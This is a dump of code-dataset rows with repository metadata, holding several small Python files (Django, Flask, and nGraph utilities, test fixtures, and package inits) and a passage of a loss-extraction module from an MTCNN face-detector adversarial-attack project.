| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
5afabf65dbcb2b66563801cc466f7a8cce6f23c0
| 120
|
py
|
Python
|
samples/__init__.py
|
MindaugasVaitkus2/core-python
|
b593eb73744b65e44f6116442a327ff425ad485d
|
[
"Apache-2.0"
] | 1
|
2019-07-25T09:09:54.000Z
|
2019-07-25T09:09:54.000Z
|
samples/__init__.py
|
MindaugasVaitkus2/core-python
|
b593eb73744b65e44f6116442a327ff425ad485d
|
[
"Apache-2.0"
] | null | null | null |
samples/__init__.py
|
MindaugasVaitkus2/core-python
|
b593eb73744b65e44f6116442a327ff425ad485d
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
"""
Topic: 实用代码集锦
Desc :
"""
def cool():
print('sample cool,,')
| 10
| 26
| 0.533333
| 15
| 120
| 4.266667
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010526
| 0.208333
| 120
| 11
| 27
| 10.909091
| 0.663158
| 0.55
| 0
| 0
| 0
| 0
| 0.295455
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0
| 0.5
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
5afe6df11035b4d7432824428ca1632d90ef8791
| 109
|
py
|
Python
|
tests/apps/default_config_app/apps.py
|
Yoann-Vie/esgi-hearthstone
|
115d03426c7e8e80d89883b78ac72114c29bed12
|
[
"PSF-2.0",
"BSD-3-Clause"
] | null | null | null |
tests/apps/default_config_app/apps.py
|
Yoann-Vie/esgi-hearthstone
|
115d03426c7e8e80d89883b78ac72114c29bed12
|
[
"PSF-2.0",
"BSD-3-Clause"
] | null | null | null |
tests/apps/default_config_app/apps.py
|
Yoann-Vie/esgi-hearthstone
|
115d03426c7e8e80d89883b78ac72114c29bed12
|
[
"PSF-2.0",
"BSD-3-Clause"
] | null | null | null |
from django.apps import AppConfig
class CustomConfig(AppConfig):
name = 'apps.default_config_app'
| 18.166667
| 37
| 0.743119
| 13
| 109
| 6.076923
| 0.846154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.183486
| 109
| 5
| 38
| 21.8
| 0.88764
| 0
| 0
| 0
| 0
| 0
| 0.221154
| 0.221154
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
85045e60495dd12f20c72c1546c5d93eb8223995
| 87
|
py
|
Python
|
read/read/str/readers/txt.py
|
vitalfadeev/read
|
f8893daa732d50bb6f1da94e66d016d5611f1983
|
[
"MIT"
] | null | null | null |
read/read/str/readers/txt.py
|
vitalfadeev/read
|
f8893daa732d50bb6f1da94e66d016d5611f1983
|
[
"MIT"
] | null | null | null |
read/read/str/readers/txt.py
|
vitalfadeev/read
|
f8893daa732d50bb6f1da94e66d016d5611f1983
|
[
"MIT"
] | null | null | null |
import io
def Reader( f, url, stream=False, tag=None ):
iter = f
return iter
| 12.428571
| 45
| 0.62069
| 14
| 87
| 3.857143
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.275862
| 87
| 6
| 46
| 14.5
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
850705e5c1b05c9c954faf40f3696ec8e3313fbc
| 44
|
py
|
Python
|
zzh/__init__.py
|
zhangzhenhu/zzh
|
ebacd9c0c46a0a537d014550bd2bff0a85452a6e
|
[
"MIT"
] | null | null | null |
zzh/__init__.py
|
zhangzhenhu/zzh
|
ebacd9c0c46a0a537d014550bd2bff0a85452a6e
|
[
"MIT"
] | null | null | null |
zzh/__init__.py
|
zhangzhenhu/zzh
|
ebacd9c0c46a0a537d014550bd2bff0a85452a6e
|
[
"MIT"
] | null | null | null |
from . import fastlib
__all__ = ["fastlib"]
| 14.666667
| 21
| 0.704545
| 5
| 44
| 5.4
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.159091
| 44
| 3
| 22
| 14.666667
| 0.72973
| 0
| 0
| 0
| 0
| 0
| 0.155556
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
85190cdc97a9ac629046e5ba66329c874656d0c0
| 307
|
py
|
Python
|
core/Observer.py
|
arnaudcoj/m2s3_sci_tp3_avatar
|
7662392495d4c458c2537e7f6151c2693ddb055f
|
[
"MIT"
] | 1
|
2016-12-06T08:44:00.000Z
|
2016-12-06T08:44:00.000Z
|
core/Observer.py
|
arnaudcoj/m2s3_sci_tp3_avatar
|
7662392495d4c458c2537e7f6151c2693ddb055f
|
[
"MIT"
] | null | null | null |
core/Observer.py
|
arnaudcoj/m2s3_sci_tp3_avatar
|
7662392495d4c458c2537e7f6151c2693ddb055f
|
[
"MIT"
] | null | null | null |
class Observer(object):
"""docstring for Observer"""
def __init__(self):
super(Observer, self).__init__()
self.signalFunc = None
def onReceive(self, signal, emitter):
if self.signalFunc != None and signal in self.signalFunc:
self.signalFunc[signal](emitter)
| 30.7
| 65
| 0.644951
| 34
| 307
| 5.588235
| 0.5
| 0.294737
| 0.189474
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.241042
| 307
| 9
| 66
| 34.111111
| 0.815451
| 0.071661
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0
| 0
| 0.428571
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
51b11754da574094b241b305cd9d3e1df931bf69
| 150
|
py
|
Python
|
b_aws_dynamodb_backup/cli_actions/seed.py
|
Biomapas/B.AwsDynamoDbBackup
|
99c79ea6438eee663ea8be1faf085b21a634f8af
|
[
"Apache-2.0"
] | 1
|
2021-08-18T08:22:21.000Z
|
2021-08-18T08:22:21.000Z
|
b_aws_dynamodb_backup/cli_actions/seed.py
|
Biomapas/B.AwsDynamoDbBackup
|
99c79ea6438eee663ea8be1faf085b21a634f8af
|
[
"Apache-2.0"
] | null | null | null |
b_aws_dynamodb_backup/cli_actions/seed.py
|
Biomapas/B.AwsDynamoDbBackup
|
99c79ea6438eee663ea8be1faf085b21a634f8af
|
[
"Apache-2.0"
] | null | null | null |
import sys
from b_aws_dynamodb_backup.db_actions.seed_db import SeedDb
def main():
table_name = sys.argv[1]
SeedDb().seed(table_name, 500)
| 16.666667
| 59
| 0.74
| 25
| 150
| 4.16
| 0.72
| 0.173077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.031746
| 0.16
| 150
| 8
| 60
| 18.75
| 0.793651
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
51c44c004e284bcc16672b48c8c9d9c7d2852bf0
| 175
|
py
|
Python
|
deui/html/view/samp_element.py
|
urushiyama/DeUI
|
14530d2dae7d96a3dee30759f85e02239fb433c5
|
[
"MIT"
] | 1
|
2021-10-17T01:54:18.000Z
|
2021-10-17T01:54:18.000Z
|
deui/html/view/samp_element.py
|
urushiyama/DeUI
|
14530d2dae7d96a3dee30759f85e02239fb433c5
|
[
"MIT"
] | null | null | null |
deui/html/view/samp_element.py
|
urushiyama/DeUI
|
14530d2dae7d96a3dee30759f85e02239fb433c5
|
[
"MIT"
] | null | null | null |
from .element import Element
class Sample(Element):
"""
Represents deui-examples output from computer program.
"""
def __str__(self):
return "samp"
| 15.909091
| 58
| 0.645714
| 19
| 175
| 5.736842
| 0.842105
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.257143
| 175
| 10
| 59
| 17.5
| 0.838462
| 0.308571
| 0
| 0
| 0
| 0
| 0.038095
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0.25
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
51fa6c389c1766e773d84879df4de81afeb7b92d
| 667
|
py
|
Python
|
app/test_base.py
|
TechplexEngineer/scorepy
|
6314464911f02a56b95c398603fec1dd6773de94
|
[
"MIT"
] | null | null | null |
app/test_base.py
|
TechplexEngineer/scorepy
|
6314464911f02a56b95c398603fec1dd6773de94
|
[
"MIT"
] | null | null | null |
app/test_base.py
|
TechplexEngineer/scorepy
|
6314464911f02a56b95c398603fec1dd6773de94
|
[
"MIT"
] | null | null | null |
from flask.ext.testing import TestCase
import unittest
from app import create_app, db
class BaseTestCase(TestCase):
def create_app(self):
return create_app('config.TestingConfiguration')
def setUp(self):
db.create_all()
def tearDown(self):
db.session.remove()
db.drop_all()
def login(self, username='admin', password='changeme'):
return self.client.post('/login', data=dict(
username=username,
password=password
), follow_redirects=True)
def logout(self):
return self.client.get('/logout', follow_redirects=True)
if __name__ == '__main__':
unittest.main()
| 23.821429
| 64
| 0.650675
| 78
| 667
| 5.371795
| 0.512821
| 0.064439
| 0.076372
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.233883
| 667
| 27
| 65
| 24.703704
| 0.819961
| 0
| 0
| 0
| 0
| 0
| 0.091454
| 0.04048
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0.1
| 0.15
| 0.15
| 0.6
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
a404f3a27227700d37705c9af67ee7fb1d49c544
| 58
|
py
|
Python
|
src/data/__init__.py
|
josiahdavis/testing
|
6c98672e4c246b7be305b4249b408970970e0637
|
[
"Apache-2.0"
] | null | null | null |
src/data/__init__.py
|
josiahdavis/testing
|
6c98672e4c246b7be305b4249b408970970e0637
|
[
"Apache-2.0"
] | null | null | null |
src/data/__init__.py
|
josiahdavis/testing
|
6c98672e4c246b7be305b4249b408970970e0637
|
[
"Apache-2.0"
] | null | null | null |
from .make_dataset import make_random_data, RandomDataset
| 29
| 57
| 0.87931
| 8
| 58
| 6
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.086207
| 58
| 1
| 58
| 58
| 0.90566
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
cfa274f3d7cdd9e7a62124912043bb40613dcde8
| 209
|
py
|
Python
|
robokassa_merchant/__init__.py
|
DirectlineDev/django-robokassa-merchant
|
aca72195745036c17e7f66b2761b4142c3846f5f
|
[
"MIT"
] | 3
|
2016-03-03T11:29:18.000Z
|
2017-07-14T19:41:55.000Z
|
robokassa_merchant/__init__.py
|
DirectlineDev/django-robokassa-merchant
|
aca72195745036c17e7f66b2761b4142c3846f5f
|
[
"MIT"
] | 1
|
2016-03-03T11:30:43.000Z
|
2016-03-03T13:38:21.000Z
|
robokassa_merchant/__init__.py
|
DirectlineDev/django-robokassa-merchant
|
aca72195745036c17e7f66b2761b4142c3846f5f
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from robokassa_merchant.conf import Conf
# todo хотел бы сюда ещё импортировать всё важное с подмодулей, но не даёт из-за моделей
default_app_config = 'robokassa_merchant.apps.Config'
| 34.833333
| 88
| 0.77512
| 32
| 209
| 4.9375
| 0.875
| 0.21519
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005556
| 0.138756
| 209
| 5
| 89
| 41.8
| 0.872222
| 0.516746
| 0
| 0
| 0
| 0
| 0.306122
| 0.306122
| 0
| 0
| 0
| 0.2
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
cfcfc293a456dd7e877081efe5961154ee880bb6
| 1,587
|
py
|
Python
|
ngraph/transformers/passes/gpusimplification.py
|
NervanaSystems/ngraph-python
|
ac032c83c7152b615a9ad129d54d350f9d6a2986
|
[
"Apache-2.0"
] | 18
|
2018-03-19T04:16:49.000Z
|
2021-02-08T14:44:58.000Z
|
ngraph/transformers/passes/gpusimplification.py
|
rsumner31/ngraph
|
5e5c9bb9f24d95aee190b914dd2d44122fc3be53
|
[
"Apache-2.0"
] | 2
|
2019-04-16T06:41:49.000Z
|
2019-05-06T14:08:13.000Z
|
ngraph/transformers/passes/gpusimplification.py
|
rsumner31/ngraph
|
5e5c9bb9f24d95aee190b914dd2d44122fc3be53
|
[
"Apache-2.0"
] | 11
|
2018-06-16T15:59:08.000Z
|
2021-03-06T00:45:30.000Z
|
# ******************************************************************************
# Copyright 2017-2018 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ******************************************************************************
from ngraph.transformers.passes.passes import PeepholeGraphPass
from ngraph.util.generics import generic_method
from ngraph.op_graph.op_graph import Op, Fill, AssignOp
class CPUAssignOp(AssignOp):
"""
Executes tensor[...] = val on the CPU. For use when GPU cannot execute the assignment.
"""
def __init__(self, tensor, val, **kwargs):
super(CPUAssignOp, self).__init__(tensor, val, **kwargs)
class GPUSubstitution(PeepholeGraphPass):
"""TODO."""
@generic_method(dispatch_base_type=Op)
def visit(self, op, *args):
"""
Base case.
"""
pass
@visit.on_type(Fill)
def visit(self, op, tensor):
# Fill op must operate on contiguous tensor
if not tensor.tensor_description().c_contiguous:
self.replace_op(op, AssignOp(tensor, op.scalar))
| 36.068182
| 90
| 0.636421
| 194
| 1,587
| 5.113402
| 0.572165
| 0.060484
| 0.02621
| 0.032258
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009231
| 0.180844
| 1,587
| 43
| 91
| 36.906977
| 0.753846
| 0.544423
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.023256
| 0
| 1
| 0.214286
| false
| 0.214286
| 0.214286
| 0
| 0.571429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
5c623d0c27e17b797f5f8d6bc026ea477e032c95
| 517
|
py
|
Python
|
lightseq/training/__init__.py
|
zjersey/lightseq
|
82aed8f21a876ae6c7218acf9271f92022d79fa4
|
[
"Apache-2.0"
] | 2
|
2021-07-23T14:32:35.000Z
|
2021-07-26T21:12:11.000Z
|
lightseq/training/__init__.py
|
zjersey/lightseq
|
82aed8f21a876ae6c7218acf9271f92022d79fa4
|
[
"Apache-2.0"
] | null | null | null |
lightseq/training/__init__.py
|
zjersey/lightseq
|
82aed8f21a876ae6c7218acf9271f92022d79fa4
|
[
"Apache-2.0"
] | null | null | null |
from lightseq.training.ops.pytorch.transformer_embedding_layer import (
LSTransformerEmbeddingLayer,
)
from lightseq.training.ops.pytorch.transformer_encoder_layer import (
LSTransformerEncoderLayer,
)
from lightseq.training.ops.pytorch.transformer_decoder_layer import (
LSTransformerDecoderLayer,
)
from lightseq.training.ops.pytorch.transformer import LSTransformer
from lightseq.training.ops.pytorch.cross_entropy_layer import LSCrossEntropyLayer
from lightseq.training.ops.pytorch.adam import LSAdam
| 39.769231
| 81
| 0.854932
| 56
| 517
| 7.75
| 0.357143
| 0.165899
| 0.276498
| 0.317972
| 0.516129
| 0.37788
| 0
| 0
| 0
| 0
| 0
| 0
| 0.081238
| 517
| 12
| 82
| 43.083333
| 0.913684
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
5c68c0f4d0282f550bccfd58773f2f70e52e359c
| 1,360
|
py
|
Python
|
treedoc/tests/treedoctestpackage/module2.py
|
tommyod/treedoc
|
575e4da770ced5e5727136fe14e1c4967a59a27e
|
[
"MIT"
] | 10
|
2019-05-05T10:51:48.000Z
|
2019-12-06T09:14:55.000Z
|
treedoc/tests/treedoctestpackage/module2.py
|
tommyod/treedoc
|
575e4da770ced5e5727136fe14e1c4967a59a27e
|
[
"MIT"
] | 34
|
2019-05-04T07:37:50.000Z
|
2019-10-02T04:28:39.000Z
|
treedoc/tests/treedoctestpackage/module2.py
|
tommyod/treedoc
|
575e4da770ced5e5727136fe14e1c4967a59a27e
|
[
"MIT"
] | 4
|
2019-07-05T11:19:41.000Z
|
2019-10-01T10:06:28.000Z
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Apr 21 21:13:23 2019
@author: tommy
"""
import functools
def function_nested_outer(x):
def function_nested_inner(x):
return x
return function_nested_inner
def function_with_inner_class(x):
class ClassInsideFunction:
pass
return x
def function_which_will_become_staticmethod():
pass
def wrapper(function):
@functools.wraps(function)
def wrapped(*args, **kwargs):
return function(*args, **kwargs)
return wrapped
@wrapper
def func_wrapped(a, b=2):
return a + b
# =============================================================================
# CLASSES AND INHERITANCE
# =============================================================================
class SuperClass:
def superclass_method(self):
return 1
static_method = staticmethod(function_which_will_become_staticmethod)
class SubClass(SuperClass):
def subclass_method(self):
return 1
class SubSubClass(SubClass):
def subsubclass_method(self):
return 1
# =============================================================================
# CLASSES WITH COMPOSITION
# =============================================================================
class Wheel:
pass
class Car:
wheel_cls = Wheel
wheel = Wheel()
| 17.662338
| 79
| 0.522059
| 130
| 1,360
| 5.284615
| 0.438462
| 0.064047
| 0.069869
| 0.074236
| 0.101892
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016173
| 0.181618
| 1,360
| 76
| 80
| 17.894737
| 0.601078
| 0.335294
| 0
| 0.235294
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.294118
| false
| 0.088235
| 0.029412
| 0.176471
| 0.852941
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
5c95cc3d92f91f46e571639c8c463646e9f13871
| 456
|
py
|
Python
|
tests/test_general_validators/test_has_no_urls_with_hardcoded_arguments.py
|
SerejkaSJ/fiasko_bro
|
dfb8c30109f317c1e5b6d211e002fd148695809e
|
[
"MIT"
] | 25
|
2018-01-24T10:45:35.000Z
|
2020-12-05T21:47:20.000Z
|
tests/test_general_validators/test_has_no_urls_with_hardcoded_arguments.py
|
SerejkaSJ/fiasko_bro
|
dfb8c30109f317c1e5b6d211e002fd148695809e
|
[
"MIT"
] | 110
|
2018-01-21T12:25:13.000Z
|
2021-06-10T19:27:22.000Z
|
tests/test_general_validators/test_has_no_urls_with_hardcoded_arguments.py
|
SerejkaSJ/fiasko_bro
|
dfb8c30109f317c1e5b6d211e002fd148695809e
|
[
"MIT"
] | 13
|
2017-12-12T22:19:01.000Z
|
2019-01-29T18:08:05.000Z
|
from fiasko_bro.validators import urls_with_hardcoded_get_parameters
def test_urls_with_hardcoded_get_parameters_fails(test_repo):
expected_output = 'file_with_url_with_hardcoded_query_params.py:2'
output = urls_with_hardcoded_get_parameters(test_repo)
assert output == expected_output
def test_urls_with_hardcoded_get_parameters_succeeds(origin_repo):
output = urls_with_hardcoded_get_parameters(origin_repo)
assert output is None
| 35.076923
| 70
| 0.848684
| 65
| 456
| 5.384615
| 0.415385
| 0.222857
| 0.242857
| 0.285714
| 0.502857
| 0.417143
| 0.211429
| 0
| 0
| 0
| 0
| 0.002457
| 0.107456
| 456
| 12
| 71
| 38
| 0.857494
| 0
| 0
| 0
| 0
| 0
| 0.100877
| 0.100877
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0.25
| false
| 0
| 0.125
| 0
| 0.375
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5ca9acceead918c95da71991e755cce43d7515b4
| 559
|
py
|
Python
|
netharn/data/transforms/__init__.py
|
JoshuaBeard/netharn
|
90773542c47363e663ee58f20fd151eb89bc313b
|
[
"Apache-2.0"
] | null | null | null |
netharn/data/transforms/__init__.py
|
JoshuaBeard/netharn
|
90773542c47363e663ee58f20fd151eb89bc313b
|
[
"Apache-2.0"
] | null | null | null |
netharn/data/transforms/__init__.py
|
JoshuaBeard/netharn
|
90773542c47363e663ee58f20fd151eb89bc313b
|
[
"Apache-2.0"
] | null | null | null |
"""
mkinit netharn.data.transforms')"
"""
# flake8: noqa
__DYNAMIC__ = False
if __DYNAMIC__:
from mkinit import dynamic_init
exec(dynamic_init(__name__))
else:
# <AUTOGEN_INIT>
from netharn.data.transforms import augmenter_base
from netharn.data.transforms import augmenters
from netharn.data.transforms.augmenter_base import (ParamatarizedAugmenter,)
from netharn.data.transforms.augmenters import (HSVShift, LetterboxResize,
Resize, demodata_hsv_image,)
# </AUTOGEN_INIT>
| 31.055556
| 80
| 0.692308
| 57
| 559
| 6.438596
| 0.45614
| 0.149864
| 0.286104
| 0.27248
| 0.168937
| 0
| 0
| 0
| 0
| 0
| 0
| 0.002309
| 0.225403
| 559
| 17
| 81
| 32.882353
| 0.845266
| 0.139535
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
5cac1a87dc056176f1aca127a9fc4c719fd5cd2b
| 47,195
|
py
|
Python
|
manage_data.py
|
alex96295/MTCNN_adversarial_attack
|
a4a4a45d05af208246b082ebbf931180f2bc66cd
|
[
"MIT"
] | null | null | null |
manage_data.py
|
alex96295/MTCNN_adversarial_attack
|
a4a4a45d05af208246b082ebbf931180f2bc66cd
|
[
"MIT"
] | null | null | null |
manage_data.py
|
alex96295/MTCNN_adversarial_attack
|
a4a4a45d05af208246b082ebbf931180f2bc66cd
|
[
"MIT"
] | null | null | null |
import fnmatch
import math
import os
import tqdm
import sys
import time
from operator import itemgetter
import gc
import numpy as np
import torch
import torch.optim as optim
import torch.nn as nn
import torch.nn.functional as F
from PIL import Image, ImageDraw, ImageFilter
from torch.utils.data import Dataset
from torchvision import transforms
import matplotlib.pyplot as plt
#from darknet import Darknet
from median_pool import MedianPool2d # see median_pool.py
class mtcnn_feature_output_manage(nn.Module):
"""MaxProbExtractor: extracts max class probability for class from YOLO output.
Module providing the functionality necessary to extract the max class probability for one class from YOLO output.
"""
def __init__(self, config):
super(mtcnn_feature_output_manage, self).__init__()
self.config = config
def forward(self, all_nets, output_switch, net_output, loss_type, scale_level_score):
if all_nets == 0:
if output_switch == 'pnet':
pnet_output = net_output
print('len: ' + str(len(pnet_output)))
loss_per_scale = []
for score_per_scale in pnet_output:
#print(score_per_scale.size())
grid_x = score_per_scale.size()[1]
grid_y = score_per_scale.size()[2]
score_per_scale_resh = score_per_scale.view(self.config.batch_size, grid_x*grid_y)
#print(score_per_scale_resh.size())
if loss_type == 'max_approach':
scale_out, scale_max_indx = torch.max(score_per_scale_resh, 1)
#print(scale_out.size())
#scale_out = scale_out.unsqueeze(1)
#print(scale_out.size())
elif loss_type == 'threshold_approach':
threshold = 0.35
batch_stack = torch.unbind(score_per_scale_resh, dim=0)
penalized_tensor_batch = []
for img_tensor in batch_stack:
size = img_tensor.size()
zero_tensor = torch.cuda.FloatTensor(size).fill_(0)
penalized_tensor = torch.max(img_tensor - threshold, zero_tensor) ** 2
penalized_tensor_batch.append(penalized_tensor)
penalized_tensor_batch = torch.stack(penalized_tensor_batch, dim=0)
scale_out = torch.sum(penalized_tensor_batch, dim=1)
scale_out = scale_out.unsqueeze(1)
#print(scale_out.size())
loss_per_scale.append(scale_out)
loss_per_scale = torch.stack(loss_per_scale, 1)
# print(loss_per_scale)
if scale_level_score == 'scale_max':
scales_output, scales_output_indx = torch.max(loss_per_scale, 1)
# print(scales_output)
# mean over batch
scales_output = torch.mean(scales_output)
return scales_output
elif scale_level_score == 'scale_mean':
scales_output = torch.mean(loss_per_scale, 1)
# mean over batch
scales_output = torch.mean(scales_output)
return scales_output
elif scale_level_score == 'scale_sum':
scales_output = torch.sum(loss_per_scale, 1)
# mean over batch
scales_output = torch.mean(scales_output)
return scales_output
elif output_switch == 'rnet' or output_switch == 'onet':
if loss_type == 'max_approach':
score_out = torch.max(net_output)
print(score_out)
return score_out
elif loss_type == 'threshold_approach':
threshold = 0
size = net_output.size()
zero_tensor = torch.cuda.FloatTensor(size).fill_(0)
penalized_tensor = torch.max(net_output - threshold, zero_tensor) ** 2
scale_out = torch.sum(penalized_tensor)
return scale_out
else:
# pnet
pnet_output = net_output[0]
print('len: ' + str(len(pnet_output)))
loss_per_scale = []
for score_per_scale in pnet_output:
# print(score_per_scale.size())
grid_x = score_per_scale.size()[1]
grid_y = score_per_scale.size()[2]
score_per_scale_resh = score_per_scale.view(self.config.batch_size, grid_x * grid_y)
# print(score_per_scale_resh.size())
if loss_type == 'max_approach':
scale_out, scale_max_indx = torch.max(score_per_scale_resh, 1)
# print(scale_out.size())
# scale_out = scale_out.unsqueeze(1)
